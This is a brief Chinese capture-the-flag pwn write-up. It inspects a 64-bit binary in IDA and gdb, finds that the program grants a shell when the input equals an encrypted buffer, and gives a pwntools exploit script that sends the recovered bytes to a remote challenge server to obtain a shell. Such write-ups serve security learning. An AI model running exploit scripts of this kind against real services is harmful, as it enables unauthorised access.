题目
拿到附件后,先在本地测试:
64位程序,没有开启CANARY,可能是栈溢出漏洞,放入IDA查看伪代码:
简单理解就是如果buf = buff 也就是加密后的字符串,则直接getshell。
打开gdb调试之前,先看一下buff的地址:
记录一下:0x404100 ,接着打开gdb调试:
找到加密的字符地址。
exp:
from pwn import *
context.log_level = 'debug'
#r = process('./pwn')
r = remote("challenge.qsnctf.com",10022)
r.recvuntil("GDB-pwndbg maybe useful")
ret = 0x401354
payload = p64(0x144678aadc0e4072) + p64(0x84b6e81a4c7eb0e2) + p64(0xf426588abcee2052) + p64(0x0000c8cb2c5e90c2)
r.sendline(payload)
r.interactive()